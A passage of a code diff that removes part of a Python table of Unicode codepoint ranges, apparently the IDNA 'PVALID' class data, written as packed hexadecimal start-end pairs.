-        0x1E8D00001E8D7,
-        0x1E9440001E94C,
-        0xE0001000E0002,
-        0xE0020000E0080,
-        0xE0100000E01F0,
-    ),
-}
-
-
-codepoint_classes = {
-    "PVALID": (
-        0x2D0000002E,
-        0x300000003A,
-        0x610000007B,
-        0xDF000000F7,
-        0xF800000100,
-        0x10100000102,
-        0x10300000104,
-        0x10500000106,
-        0x10700000108,
-        0x1090000010A,
-        0x10B0000010C,
-        0x10D0000010E,
-        0x10F00000110,
-        0x11100000112,
-        0x11300000114,
-        0x11500000116,
-        0x11700000118,
-        0x1190000011A,
-        0x11B0000011C,
-        0x11D0000011E,
-        0x11F00000120,
-        0x12100000122,
-        0x12300000124,
-        0x12500000126,
-        0x12700000128,
-        0x1290000012A,
-        0x12B0000012C,
-        0x12D0000012E,
-        0x12F00000130,
-        0x13100000132,
-        0x13500000136,
-        0x13700000139,
-        0x13A0000013B,
-        0x13C0000013D,
-        0x13E0000013F,
-        0x14200000143,
-        0x14400000145,
-        0x14600000147,
-        0x14800000149,
-        0x14B0000014C,
-        0x14D0000014E,
-        0x14F00000150,
-        0x15100000152,
-        0x15300000154,
-        0x15500000156,
-        0x15700000158,
-        0x1590000015A,
-        0x15B0000015C,
-        0x15D0000015E,
-        0x15F00000160,
-        0x16100000162,
-        0x16300000164,
-        0x16500000166,
-        0x16700000168,
-        0x1690000016A,
-        0x16B0000016C,
-        0x16D0000016E,
-        0x16F00000170,
-        0x17100000172,
-        0x17300000174,
-        0x17500000176,
-        0x17700000178,
-        0x17A0000017B,
-        0x17C0000017D,
-        0x17E0000017F,
-        0x18000000181,
-        0x18300000184,
-        0x18500000186,
-        0x18800000189,
-        0x18C0000018E,
-        0x19200000193,
-        0x19500000196,
-        0x1990000019C,
-        0x19E0000019F,
-        0x1A1000001A2,
-        0x1A3000001A4,
-        0x1A5000001A6,
-        0x1A8000001A9,
-        0x1AA000001AC,
-        0x1AD000001AE,
-        0x1B0000001B1,
-        0x1B4000001B5,
-        0x1B6000001B7,
-        0x1B9000001BC,
-        0x1BD000001C4,
-        0x1CE000001CF,
-        0x1D0000001D1,
-        0x1D2000001D3,
-        0x1D4000001D5,
-        0x1D6000001D7,
-        0x1D8000001D9,
-        0x1DA000001DB,
-        0x1DC000001DE,
-        0x1DF000001E0,
-        0x1E1000001E2,
-        0x1E3000001E4,
-        0x1E5000001E6,
-        0x1E7000001E8,
-        0x1E9000001EA,
-        0x1EB000001EC,
-        0x1ED000001EE,
-        0x1EF000001F1,
-        0x1F5000001F6,
-        0x1F9000001FA,
-        0x1FB000001FC,
-        0x1FD000001FE,
-        0x1FF00000200,
-        0x20100000202,
-        0x20300000204,
-        0x20500000206,
-        0x20700000208,
-        0x2090000020A,
-        0x20B0000020C,
-        0x20D0000020E,
-        0x20F00000210,
-        0x21100000212,
-        0x21300000214,
-        0x21500000216,
-        0x21700000218,
-        0x2190000021A,
-        0x21B0000021C,
-        0x21D0000021E,
-        0x21F00000220,
-        0x22100000222,
-        0x22300000224,
-        0x22500000226,
-        0x22700000228,
-        0x2290000022A,
-        0x22B0000022C,
-        0x22D0000022E,
-        0x22F00000230,
-        0x23100000232,
-        0x2330000023A,
-        0x23C0000023D,
-        0x23F00000241,
-        0x24200000243,
-        0x24700000248,
-        0x2490000024A,
-        0x24B0000024C,
-        0x24D0000024E,
-        0x24F000002B0,
-        0x2B9000002C2,
-        0x2C6000002D2,
-        0x2EC000002ED,
-        0x2EE000002EF,
-        0x30000000340,
-        0x34200000343,
-        0x3460000034F,
-        0x35000000370,
-        0x37100000372,
-        0x37300000374,
-        0x37700000378,
-        0x37B0000037E,
-        0x39000000391,
-        0x3AC000003CF,
-        0x3D7000003D8,
-        0x3D9000003DA,
-        0x3DB000003DC,
-        0x3DD000003DE,
-        0x3DF000003E0,
-        0x3E1000003E2,
-        0x3E3000003E4,
-        0x3E5000003E6,
-        0x3E7000003E8,
-        0x3E9000003EA,
-        0x3EB000003EC,
-        0x3ED000003EE,
-        0x3EF000003F0,
-        0x3F3000003F4,
-        0x3F8000003F9,
-        0x3FB000003FD,
-        0x43000000460,
-        0x46100000462,
-        0x46300000464,
-        0x46500000466,
-        0x46700000468,
-        0x4690000046A,
-        0x46B0000046C,
-        0x46D0000046E,
-        0x46F00000470,
-        0x47100000472,
-        0x47300000474,
-        0x47500000476,
-        0x47700000478,
-        0x4790000047A,
-        0x47B0000047C,
-        0x47D0000047E,
-        0x47F00000480,
-        0x48100000482,
-        0x48300000488,
-        0x48B0000048C,
-        0x48D0000048E,
-        0x48F00000490,
-        0x49100000492,
-        0x49300000494,
-        0x49500000496,
-        0x49700000498,
-        0x4990000049A,
-        0x49B0000049C,
-        0x49D0000049E,
-        0x49F000004A0,
-        0x4A1000004A2,
-        0x4A3000004A4,
-        0x4A5000004A6,
-        0x4A7000004A8,
-        0x4A9000004AA,
-        0x4AB000004AC,
-        0x4AD000004AE,
-        0x4AF000004B0,
-        0x4B1000004B2,
-        0x4B3000004B4,
-        0x4B5000004B6,
-        0x4B7000004B8,
-        0x4B9000004BA,
-        0x4BB000004BC,
-        0x4BD000004BE,
-        0x4BF000004C0,
-        0x4C2000004C3,
-        0x4C4000004C5,
-        0x4C6000004C7,
-        0x4C8000004C9,
-        0x4CA000004CB,
-        0x4CC000004CD,
-        0x4CE000004D0,
-        0x4D1000004D2,
-        0x4D3000004D4,
-        0x4D5000004D6,
-        0x4D7000004D8,
-        0x4D9000004DA,
-        0x4DB000004DC,
-        0x4DD000004DE,
-        0x4DF000004E0,
-        0x4E1000004E2,
-        0x4E3000004E4,
-        0x4E5000004E6,
-        0x4E7000004E8,
-        0x4E9000004EA,
-        0x4EB000004EC,
-        0x4ED000004EE,
-        0x4EF000004F0,
-        0x4F1000004F2,
-        0x4F3000004F4,
-        0x4F5000004F6,
-        0x4F7000004F8,
-        0x4F9000004FA,
-        0x4FB000004FC,
-        0x4FD000004FE,
-        0x4FF00000500,
-        0x50100000502,
-        0x50300000504,
-        0x50500000506,
-        0x50700000508,
-        0x5090000050A,
-        0x50B0000050C,
-        0x50D0000050E,
-        0x50F00000510,
-        0x51100000512,
-        0x51300000514,
-        0x51500000516,
-        0x51700000518,
-        0x5190000051A,
-        0x51B0000051C,
-        0x51D0000051E,
-        0x51F00000520,
-        0x52100000522,
-        0x52300000524,
-        0x52500000526,
-        0x52700000528,
-        0x5290000052A,
-        0x52B0000052C,
-        0x52D0000052E,
-        0x52F00000530,
-        0x5590000055A,
-        0x56000000587,
-        0x58800000589,
-        0x591000005BE,
-        0x5BF000005C0,
-        0x5C1000005C3,
-        0x5C4000005C6,
-        0x5C7000005C8,
-        0x5D0000005EB,
-        0x5EF000005F3,
-        0x6100000061B,
-        0x62000000640,
-        0x64100000660,
-        0x66E00000675,
-        0x679000006D4,
-        0x6D5000006DD,
-        0x6DF000006E9,
-        0x6EA000006F0,
-        0x6FA00000700,
-        0x7100000074B,
-        0x74D000007B2,
-        0x7C0000007F6,
-        0x7FD000007FE,
-        0x8000000082E,
-        0x8400000085C,
-        0x8600000086B,
-        0x87000000888,
-        0x88900000890,
-        0x897000008E2,
-        0x8E300000958,
-        0x96000000964,
-        0x96600000970,
-        0x97100000984,
-        0x9850000098D,
-        0x98F00000991,
-        0x993000009A9,
-        0x9AA000009B1,
-        0x9B2000009B3,
-        0x9B6000009BA,
-        0x9BC000009C5,
-        0x9C7000009C9,
-        0x9CB000009CF,
-        0x9D7000009D8,
-        0x9E0000009E4,
-        0x9E6000009F2,
-        0x9FC000009FD,
-        0x9FE000009FF,
-        0xA0100000A04,
-        0xA0500000A0B,
-        0xA0F00000A11,
-        0xA1300000A29,
-        0xA2A00000A31,
-        0xA3200000A33,
-        0xA3500000A36,
-        0xA3800000A3A,
-        0xA3C00000A3D,
-        0xA3E00000A43,
-        0xA4700000A49,
-        0xA4B00000A4E,
-        0xA5100000A52,
-        0xA5C00000A5D,
-        0xA6600000A76,
-        0xA8100000A84,
-        0xA8500000A8E,
-        0xA8F00000A92,
-        0xA9300000AA9,
-        0xAAA00000AB1,
-        0xAB200000AB4,
-        0xAB500000ABA,
-        0xABC00000AC6,
-        0xAC700000ACA,
-        0xACB00000ACE,
-        0xAD000000AD1,
-        0xAE000000AE4,
-        0xAE600000AF0,
-        0xAF900000B00,
-        0xB0100000B04,
-        0xB0500000B0D,
-        0xB0F00000B11,
-        0xB1300000B29,
-        0xB2A00000B31,
-        0xB3200000B34,
-        0xB3500000B3A,
-        0xB3C00000B45,
-        0xB4700000B49,
-        0xB4B00000B4E,
-        0xB5500000B58,
-        0xB5F00000B64,
-        0xB6600000B70,
-        0xB7100000B72,
-        0xB8200000B84,
-        0xB8500000B8B,
-        0xB8E00000B91,
-        0xB9200000B96,
-        0xB9900000B9B,
-        0xB9C00000B9D,
-        0xB9E00000BA0,
-        0xBA300000BA5,
-        0xBA800000BAB,
-        0xBAE00000BBA,
-        0xBBE00000BC3,
-        0xBC600000BC9,
-        0xBCA00000BCE,
-        0xBD000000BD1,
-        0xBD700000BD8,
-        0xBE600000BF0,
-        0xC0000000C0D,
-        0xC0E00000C11,
-        0xC1200000C29,
-        0xC2A00000C3A,
-        0xC3C00000C45,
-        0xC4600000C49,
-        0xC4A00000C4E,
-        0xC5500000C57,
-        0xC5800000C5B,
-        0xC5C00000C5E,
-        0xC6000000C64,
-        0xC6600000C70,
-        0xC8000000C84,
-        0xC8500000C8D,
-        0xC8E00000C91,
-        0xC9200000CA9,
-        0xCAA00000CB4,
-        0xCB500000CBA,
-        0xCBC00000CC5,
-        0xCC600000CC9,
-        0xCCA00000CCE,
-        0xCD500000CD7,
-        0xCDC00000CDF,
-        0xCE000000CE4,
-        0xCE600000CF0,
-        0xCF100000CF4,
-        0xD0000000D0D,
-        0xD0E00000D11,
-        0xD1200000D45,
-        0xD4600000D49,
-        0xD4A00000D4F,
-        0xD5400000D58,
-        0xD5F00000D64,
-        0xD6600000D70,
-        0xD7A00000D80,
-        0xD8100000D84,
-        0xD8500000D97,
-        0xD9A00000DB2,
-        0xDB300000DBC,
-        0xDBD00000DBE,
-        0xDC000000DC7,
-        0xDCA00000DCB,
-        0xDCF00000DD5,
-        0xDD600000DD7,
-        0xDD800000DE0,
-        0xDE600000DF0,
-        0xDF200000DF4,
-        0xE0100000E33,
-        0xE3400000E3B,
-        0xE4000000E4F,
-        0xE5000000E5A,
-        0xE8100000E83,
-        0xE8400000E85,
-        0xE8600000E8B,
-        0xE8C00000EA4,
-        0xEA500000EA6,
-        0xEA700000EB3,
-        0xEB400000EBE,
-        0xEC000000EC5,
-        0xEC600000EC7,
-        0xEC800000ECF,
-        0xED000000EDA,
-        0xEDE00000EE0,
-        0xF0000000F01,
-        0xF0B00000F0C,
-        0xF1800000F1A,
-        0xF2000000F2A,
-        0xF3500000F36,
-        0xF3700000F38,
-        0xF3900000F3A,
-        0xF3E00000F43,
-        0xF4400000F48,
-        0xF4900000F4D,
-        0xF4E00000F52,
-        0xF5300000F57,
-        0xF5800000F5C,
-        0xF5D00000F69,
-        0xF6A00000F6D,
-        0xF7100000F73,
-        0xF7400000F75,
-        0xF7A00000F81,
-        0xF8200000F85,
-        0xF8600000F93,
-        0xF9400000F98,
-        0xF9900000F9D,
-        0xF9E00000FA2,
-        0xFA300000FA7,
-        0xFA800000FAC,
-        0xFAD00000FB9,
-        0xFBA00000FBD,
-        0xFC600000FC7,
-        0x10000000104A,
-        0x10500000109E,
-        0x10D0000010FB,
-        0x10FD00001100,
-        0x120000001249,
-        0x124A0000124E,
-        0x125000001257,
-        0x125800001259,
-        0x125A0000125E,
-        0x126000001289,
-        0x128A0000128E,
-        0x1290000012B1,
-        0x12B2000012B6,
-        0x12B8000012BF,
-        0x12C0000012C1,
-        0x12C2000012C6,
-        0x12C8000012D7,
-        0x12D800001311,
-        0x131200001316,
-        0x13180000135B,
-        0x135D00001360,
-        0x138000001390,
-        0x13A0000013F6,
-        0x14010000166D,
-        0x166F00001680,
-        0x16810000169B,
-        0x16A0000016EB,
-        0x16F1000016F9,
-        0x170000001716,
-        0x171F00001735,
-        0x174000001754,
-        0x17600000176D,
-        0x176E00001771,
-        0x177200001774,
-        0x1780000017B4,
-        0x17B6000017D4,
-        0x17D7000017D8,
-        0x17DC000017DE,
-        0x17E0000017EA,
-        0x18100000181A,
-        0x182000001879,
-        0x1880000018AB,
-        0x18B0000018F6,
-        0x19000000191F,
-        0x19200000192C,
-        0x19300000193C,
-        0x19460000196E,
-        0x197000001975,
-        0x1980000019AC,
-        0x19B0000019CA,
-        0x19D0000019DA,
-        0x1A0000001A1C,
-        0x1A2000001A5F,
-        0x1A6000001A7D,
-        0x1A7F00001A8A,
-        0x1A9000001A9A,
-        0x1AA700001AA8,
-        0x1AB000001ABE,
-        0x1ABF00001ADE,
-        0x1AE000001AEC,
-        0x1B0000001B4D,
-        0x1B5000001B5A,
-        0x1B6B00001B74,
-        0x1B8000001BF4,
-        0x1C0000001C38,
-        0x1C4000001C4A,
-        0x1C4D00001C7E,
-        0x1C8A00001C8B,
-        0x1CD000001CD3,
-        0x1CD400001CFB,
-        0x1D0000001D2C,
-        0x1D2F00001D30,
-        0x1D3B00001D3C,
-        0x1D4E00001D4F,
-        0x1D6B00001D78,
-        0x1D7900001D9B,
-        0x1DC000001E00,
-        0x1E0100001E02,
-        0x1E0300001E04,
-        0x1E0500001E06,
-        0x1E0700001E08,
-        0x1E0900001E0A,
-        0x1E0B00001E0C,
-        0x1E0D00001E0E,
-        0x1E0F00001E10,
-        0x1E1100001E12,
-        0x1E1300001E14,
-        0x1E1500001E16,
-        0x1E1700001E18,
-        0x1E1900001E1A,
-        0x1E1B00001E1C,
-        0x1E1D00001E1E,
-        0x1E1F00001E20,
-        0x1E2100001E22,
-        0x1E2300001E24,
-        0x1E2500001E26,
-        0x1E2700001E28,
-        0x1E2900001E2A,
-        0x1E2B00001E2C,
-        0x1E2D00001E2E,
-        0x1E2F00001E30,
-        0x1E3100001E32,
-        0x1E3300001E34,
-        0x1E3500001E36,
-        0x1E3700001E38,
-        0x1E3900001E3A,
-        0x1E3B00001E3C,
-        0x1E3D00001E3E,
-        0x1E3F00001E40,
-        0x1E4100001E42,
-        0x1E4300001E44,
-        0x1E4500001E46,
-        0x1E4700001E48,
-        0x1E4900001E4A,
-        0x1E4B00001E4C,
-        0x1E4D00001E4E,
-        0x1E4F00001E50,
-        0x1E5100001E52,
-        0x1E5300001E54,
-        0x1E5500001E56,
-        0x1E5700001E58,
-        0x1E5900001E5A,
-        0x1E5B00001E5C,
-        0x1E5D00001E5E,
-        0x1E5F00001E60,
-        0x1E6100001E62,
-        0x1E6300001E64,
-        0x1E6500001E66,
-        0x1E6700001E68,
-        0x1E6900001E6A,
-        0x1E6B00001E6C,
-        0x1E6D00001E6E,
-        0x1E6F00001E70,
-        0x1E7100001E72,
-        0x1E7300001E74,
-        0x1E7500001E76,
-        0x1E7700001E78,
-        0x1E7900001E7A,
-        0x1E7B00001E7C,
-        0x1E7D00001E7E,
-        0x1E7F00001E80,
-        0x1E8100001E82,
-        0x1E8300001E84,
-        0x1E8500001E86,
-        0x1E8700001E88,
-        0x1E8900001E8A,
-        0x1E8B00001E8C,
-        0x1E8D00001E8E,
-        0x1E8F00001E90,
-        0x1E9100001E92,
-        0x1E9300001E94,
-        0x1E9500001E9A,
-        0x1E9C00001E9E,
-        0x1E9F00001EA0,
-        0x1EA100001EA2,
-        0x1EA300001EA4,
-        0x1EA500001EA6,
-        0x1EA700001EA8,
-        0x1EA900001EAA,
-        0x1EAB00001EAC,
-        0x1EAD00001EAE,
-        0x1EAF00001EB0,
-        0x1EB100001EB2,
-        0x1EB300001EB4,
-        0x1EB500001EB6,
-        0x1EB700001EB8,
-        0x1EB900001EBA,
-        0x1EBB00001EBC,
-        0x1EBD00001EBE,
-        0x1EBF00001EC0,
-        0x1EC100001EC2,
-        0x1EC300001EC4,
-        0x1EC500001EC6,
-        0x1EC700001EC8,
-        0x1EC900001ECA,
-        0x1ECB00001ECC,
-        0x1ECD00001ECE,
-        0x1ECF00001ED0,
-        0x1ED100001ED2,
-        0x1ED300001ED4,
-        0x1ED500001ED6,
-        0x1ED700001ED8,
-        0x1ED900001EDA,
-        0x1EDB00001EDC,
-        0x1EDD00001EDE,
-        0x1EDF00001EE0,
-        0x1EE100001EE2,
-        0x1EE300001EE4,
-        0x1EE500001EE6,
-        0x1EE700001EE8,
-        0x1EE900001EEA,
-        0x1EEB00001EEC,
-        0x1EED00001EEE,
-        0x1EEF00001EF0,
-        0x1EF100001EF2,
-        0x1EF300001EF4,
-        0x1EF500001EF6,
-        0x1EF700001EF8,
-        0x1EF900001EFA,
-        0x1EFB00001EFC,
-        0x1EFD00001EFE,
-        0x1EFF00001F08,
-        0x1F1000001F16,
-        0x1F2000001F28,
-        0x1F3000001F38,
-        0x1F4000001F46,
-        0x1F5000001F58,
-        0x1F6000001F68,
-        0x1F7000001F71,
-        0x1F7200001F73,
-        0x1F7400001F75,
-        0x1F7600001F77,
-        0x1F7800001F79,
-        0x1F7A00001F7B,
-        0x1F7C00001F7D,
-        0x1FB000001FB2,
-        0x1FB600001FB7,
-        0x1FC600001FC7,
-        0x1FD000001FD3,
-        0x1FD600001FD8,
-        0x1FE000001FE3,
-        0x1FE400001FE8,
-        0x1FF600001FF7,
-        0x214E0000214F,
-        0x218400002185,
-        0x2C3000002C60,
-        0x2C6100002C62,
-        0x2C6500002C67,
-        0x2C6800002C69,
-        0x2C6A00002C6B,
-        0x2C6C00002C6D,
-        0x2C7100002C72,
-        0x2C7300002C75,
-        0x2C7600002C7C,
-        0x2C8100002C82,
-        0x2C8300002C84,
-        0x2C8500002C86,
-        0x2C8700002C88,
-        0x2C8900002C8A,
-        0x2C8B00002C8C,
-        0x2C8D00002C8E,
-        0x2C8F00002C90,
-        0x2C9100002C92,
-        0x2C9300002C94,
-        0x2C9500002C96,
-        0x2C9700002C98,
-        0x2C9900002C9A,
-        0x2C9B00002C9C,
-        0x2C9D00002C9E,
-        0x2C9F00002CA0,
-        0x2CA100002CA2,
-        0x2CA300002CA4,
-        0x2CA500002CA6,
-        0x2CA700002CA8,
-        0x2CA900002CAA,
-        0x2CAB00002CAC,
-        0x2CAD00002CAE,
-        0x2CAF00002CB0,
-        0x2CB100002CB2,
-        0x2CB300002CB4,
-        0x2CB500002CB6,
-        0x2CB700002CB8,
-        0x2CB900002CBA,
-        0x2CBB00002CBC,
-        0x2CBD00002CBE,
-        0x2CBF00002CC0,
-        0x2CC100002CC2,
-        0x2CC300002CC4,
-        0x2CC500002CC6,
-        0x2CC700002CC8,
-        0x2CC900002CCA,
-        0x2CCB00002CCC,
-        0x2CCD00002CCE,
-        0x2CCF00002CD0,
-        0x2CD100002CD2,
-        0x2CD300002CD4,
-        0x2CD500002CD6,
-        0x2CD700002CD8,
-        0x2CD900002CDA,
-        0x2CDB00002CDC,
-        0x2CDD00002CDE,
-        0x2CDF00002CE0,
-        0x2CE100002CE2,
-        0x2CE300002CE5,
-        0x2CEC00002CED,
-        0x2CEE00002CF2,
-        0x2CF300002CF4,
-        0x2D0000002D26,
-        0x2D2700002D28,
-        0x2D2D00002D2E,
-        0x2D3000002D68,
-        0x2D7F00002D97,
-        0x2DA000002DA7,
-        0x2DA800002DAF,
-        0x2DB000002DB7,
-        0x2DB800002DBF,
-        0x2DC000002DC7,
-        0x2DC800002DCF,
-        0x2DD000002DD7,
-        0x2DD800002DDF,
-        0x2DE000002E00,
-        0x2E2F00002E30,
-        0x300500003008,
-        0x302A0000302E,
-        0x303C0000303D,
-        0x304100003097,
-        0x30990000309B,
-        0x309D0000309F,
-        0x30A1000030FB,
-        0x30FC000030FF,
-        0x310500003130,
-        0x31A0000031C0,
-        0x31F000003200,
-        0x340000004DC0,
-        0x4E000000A48D,
-        0xA4D00000A4FE,
-        0xA5000000A60D,
-        0xA6100000A62C,
-        0xA6410000A642,
-        0xA6430000A644,
-        0xA6450000A646,
-        0xA6470000A648,
-        0xA6490000A64A,
-        0xA64B0000A64C,
-        0xA64D0000A64E,
-        0xA64F0000A650,
-        0xA6510000A652,
-        0xA6530000A654,
-        0xA6550000A656,
-        0xA6570000A658,
-        0xA6590000A65A,
-        0xA65B0000A65C,
-        0xA65D0000A65E,
-        0xA65F0000A660,
-        0xA6610000A662,
-        0xA6630000A664,
-        0xA6650000A666,
-        0xA6670000A668,
-        0xA6690000A66A,
-        0xA66B0000A66C,
-        0xA66D0000A670,
-        0xA6740000A67E,
-        0xA67F0000A680,
-        0xA6810000A682,
-        0xA6830000A684,
-        0xA6850000A686,
-        0xA6870000A688,
-        0xA6890000A68A,
-        0xA68B0000A68C,
-        0xA68D0000A68E,
-        0xA68F0000A690,
-        0xA6910000A692,
-        0xA6930000A694,
-        0xA6950000A696,
-        0xA6970000A698,
-        0xA6990000A69A,
-        0xA69B0000A69C,
-        0xA69E0000A6E6,
-        0xA6F00000A6F2,
-        0xA7170000A720,
-        0xA7230000A724,
-        0xA7250000A726,
-        0xA7270000A728,
-        0xA7290000A72A,
-        0xA72B0000A72C,
-        0xA72D0000A72E,
-        0xA72F0000A732,
-        0xA7330000A734,
-        0xA7350000A736,
-        0xA7370000A738,
-        0xA7390000A73A,
-        0xA73B0000A73C,
-        0xA73D0000A73E,
-        0xA73F0000A740,
-        0xA7410000A742,
-        0xA7430000A744,
-        0xA7450000A746,
-        0xA7470000A748,
-        0xA7490000A74A,
-        0xA74B0000A74C,
-        0xA74D0000A74E,
-        0xA74F0000A750,
-        0xA7510000A752,
-        0xA7530000A754,
-        0xA7550000A756,
-        0xA7570000A758,
-        0xA7590000A75A,
-        0xA75B0000A75C,
-        0xA75D0000A75E,
-        0xA75F0000A760,
-        0xA7610000A762,
-        0xA7630000A764,
-        0xA7650000A766,
-        0xA7670000A768,
-        0xA7690000A76A,
-        0xA76B0000A76C,
-        0xA76D0000A76E,
-        0xA76F0000A770,
-        0xA7710000A779,
-        0xA77A0000A77B,
-        0xA77C0000A77D,
-        0xA77F0000A780,
-        0xA7810000A782,
-        0xA7830000A784,
-        0xA7850000A786,
-        0xA7870000A789,
-        0xA78C0000A78D,
-        0xA78E0000A790,
-        0xA7910000A792,
-        0xA7930000A796,
-        0xA7970000A798,
-        0xA7990000A79A,
-        0xA79B0000A79C,
-        0xA79D0000A79E,
-        0xA79F0000A7A0,
-        0xA7A10000A7A2,
-        0xA7A30000A7A4,
-        0xA7A50000A7A6,
-        0xA7A70000A7A8,
-        0xA7A90000A7AA,
-        0xA7AF0000A7B0,
-        0xA7B50000A7B6,
-        0xA7B70000A7B8,
-        0xA7B90000A7BA,
-        0xA7BB0000A7BC,
-        0xA7BD0000A7BE,
-        0xA7BF0000A7C0,
-        0xA7C10000A7C2,
-        0xA7C30000A7C4,
-        0xA7C80000A7C9,
-        0xA7CA0000A7CB,
-        0xA7CD0000A7CE,
-        0xA7CF0000A7D0,
-        0xA7D10000A7D2,
-        0xA7D30000A7D4,
-        0xA7D50000A7D6,
-        0xA7D70000A7D8,
-        0xA7D90000A7DA,
-        0xA7DB0000A7DC,
-        0xA7F60000A7F8,
-        0xA7FA0000A828,
-        0xA82C0000A82D,
-        0xA8400000A874,
-        0xA8800000A8C6,
-        0xA8D00000A8DA,
-        0xA8E00000A8F8,
-        0xA8FB0000A8FC,
-        0xA8FD0000A92E,
-        0xA9300000A954,
-        0xA9800000A9C1,
-        0xA9CF0000A9DA,
-        0xA9E00000A9FF,
-        0xAA000000AA37,
-        0xAA400000AA4E,
-        0xAA500000AA5A,
-        0xAA600000AA77,
-        0xAA7A0000AAC3,
-        0xAADB0000AADE,
-        0xAAE00000AAF0,
-        0xAAF20000AAF7,
-        0xAB010000AB07,
-        0xAB090000AB0F,
-        0xAB110000AB17,
-        0xAB200000AB27,
-        0xAB280000AB2F,
-        0xAB300000AB5B,
-        0xAB600000AB69,
-        0xABC00000ABEB,
-        0xABEC0000ABEE,
-        0xABF00000ABFA,
-        0xAC000000D7A4,
-        0xFA0E0000FA10,
-        0xFA110000FA12,
-        0xFA130000FA15,
-        0xFA1F0000FA20,
-        0xFA210000FA22,
-        0xFA230000FA25,
-        0xFA270000FA2A,
-        0xFB1E0000FB1F,
-        0xFE200000FE30,
-        0xFE730000FE74,
-        0x100000001000C,
-        0x1000D00010027,
-        0x100280001003B,
-        0x1003C0001003E,
-        0x1003F0001004E,
-        0x100500001005E,
-        0x10080000100FB,
-        0x101FD000101FE,
-        0x102800001029D,
-        0x102A0000102D1,
-        0x102E0000102E1,
-        0x1030000010320,
-        0x1032D00010341,
-        0x103420001034A,
-        0x103500001037B,
-        0x103800001039E,
-        0x103A0000103C4,
-        0x103C8000103D0,
-        0x104280001049E,
-        0x104A0000104AA,
-        0x104D8000104FC,
-        0x1050000010528,
-        0x1053000010564,
-        0x10597000105A2,
-        0x105A3000105B2,
-        0x105B3000105BA,
-        0x105BB000105BD,
-        0x105C0000105F4,
-        0x1060000010737,
-        0x1074000010756,
-        0x1076000010768,
-        0x1078000010781,
-        0x1080000010806,
-        0x1080800010809,
-        0x1080A00010836,
-        0x1083700010839,
-        0x1083C0001083D,
-        0x1083F00010856,
-        0x1086000010877,
-        0x108800001089F,
-        0x108E0000108F3,
-        0x108F4000108F6,
-        0x1090000010916,
-        0x109200001093A,
-        0x109400001095A,
-        0x10980000109B8,
-        0x109BE000109C0,
-        0x10A0000010A04,
-        0x10A0500010A07,
-        0x10A0C00010A14,
-        0x10A1500010A18,
-        0x10A1900010A36,
-        0x10A3800010A3B,
-        0x10A3F00010A40,
-        0x10A6000010A7D,
-        0x10A8000010A9D,
-        0x10AC000010AC8,
-        0x10AC900010AE7,
-        0x10B0000010B36,
-        0x10B4000010B56,
-        0x10B6000010B73,
-        0x10B8000010B92,
-        0x10C0000010C49,
-        0x10CC000010CF3,
-        0x10D0000010D28,
-        0x10D3000010D3A,
-        0x10D4000010D50,
-        0x10D6900010D6E,
-        0x10D6F00010D86,
-        0x10E8000010EAA,
-        0x10EAB00010EAD,
-        0x10EB000010EB2,
-        0x10EC200010EC8,
-        0x10EFA00010F1D,
-        0x10F2700010F28,
-        0x10F3000010F51,
-        0x10F7000010F86,
-        0x10FB000010FC5,
-        0x10FE000010FF7,
-        0x1100000011047,
-        0x1106600011076,
-        0x1107F000110BB,
-        0x110C2000110C3,
-        0x110D0000110E9,
-        0x110F0000110FA,
-        0x1110000011135,
-        0x1113600011140,
-        0x1114400011148,
-        0x1115000011174,
-        0x1117600011177,
-        0x11180000111C5,
-        0x111C9000111CD,
-        0x111CE000111DB,
-        0x111DC000111DD,
-        0x1120000011212,
-        0x1121300011238,
-        0x1123E00011242,
-        0x1128000011287,
-        0x1128800011289,
-        0x1128A0001128E,
-        0x1128F0001129E,
-        0x1129F000112A9,
-        0x112B0000112EB,
-        0x112F0000112FA,
-        0x1130000011304,
-        0x113050001130D,
-        0x1130F00011311,
-        0x1131300011329,
-        0x1132A00011331,
-        0x1133200011334,
-        0x113350001133A,
-        0x1133B00011345,
-        0x1134700011349,
-        0x1134B0001134E,
-        0x1135000011351,
-        0x1135700011358,
-        0x1135D00011364,
-        0x113660001136D,
-        0x1137000011375,
-        0x113800001138A,
-        0x1138B0001138C,
-        0x1138E0001138F,
-        0x11390000113B6,
-        0x113B7000113C1,
-        0x113C2000113C3,
-        0x113C5000113C6,
-        0x113C7000113CB,
-        0x113CC000113D4,
-        0x113E1000113E3,
-        0x114000001144B,
-        0x114500001145A,
-        0x1145E00011462,
-        0x11480000114C6,
-        0x114C7000114C8,
-        0x114D0000114DA,
-        0x11580000115B6,
-        0x115B8000115C1,
-        0x115D8000115DE,
-        0x1160000011641,
-        0x1164400011645,
-        0x116500001165A,
-        0x11680000116B9,
-        0x116C0000116CA,
-        0x116D0000116E4,
-        0x117000001171B,
-        0x1171D0001172C,
-        0x117300001173A,
-        0x1174000011747,
-        0x118000001183B,
-        0x118C0000118EA,
-        0x118FF00011907,
-        0x119090001190A,
-        0x1190C00011914,
-        0x1191500011917,
-        0x1191800011936,
-        0x1193700011939,
-        0x1193B00011944,
-        0x119500001195A,
-        0x119A0000119A8,
-        0x119AA000119D8,
-        0x119DA000119E2,
-        0x119E3000119E5,
-        0x11A0000011A3F,
-        0x11A4700011A48,
-        0x11A5000011A9A,
-        0x11A9D00011A9E,
-        0x11AB000011AF9,
-        0x11B6000011B68,
-        0x11BC000011BE1,
-        0x11BF000011BFA,
-        0x11C0000011C09,
-        0x11C0A00011C37,
-        0x11C3800011C41,
-        0x11C5000011C5A,
-        0x11C7200011C90,
-        0x11C9200011CA8,
-        0x11CA900011CB7,
-        0x11D0000011D07,
-        0x11D0800011D0A,
-        0x11D0B00011D37,
-        0x11D3A00011D3B,
-        0x11D3C00011D3E,
-        0x11D3F00011D48,
-        0x11D5000011D5A,
-        0x11D6000011D66,
-        0x11D6700011D69,
-        0x11D6A00011D8F,
-        0x11D9000011D92,
-        0x11D9300011D99,
-        0x11DA000011DAA,
-        0x11DB000011DDC,
-        0x11DE000011DEA,
-        0x11EE000011EF7,
-        0x11F0000011F11,
-        0x11F1200011F3B,
-        0x11F3E00011F43,
-        0x11F5000011F5B,
-        0x11FB000011FB1,
-        0x120000001239A,
-        0x1248000012544,
-        0x12F9000012FF1,
-        0x1300000013430,
-        0x1344000013456,
-        0x13460000143FB,
-        0x1440000014647,
-        0x161000001613A,
-        0x1680000016A39,
-        0x16A4000016A5F,
-        0x16A6000016A6A,
-        0x16A7000016ABF,
-        0x16AC000016ACA,
-        0x16AD000016AEE,
-        0x16AF000016AF5,
-        0x16B0000016B37,
-        0x16B4000016B44,
-        0x16B5000016B5A,
-        0x16B6300016B78,
-        0x16B7D00016B90,
-        0x16D4000016D6D,
-        0x16D7000016D7A,
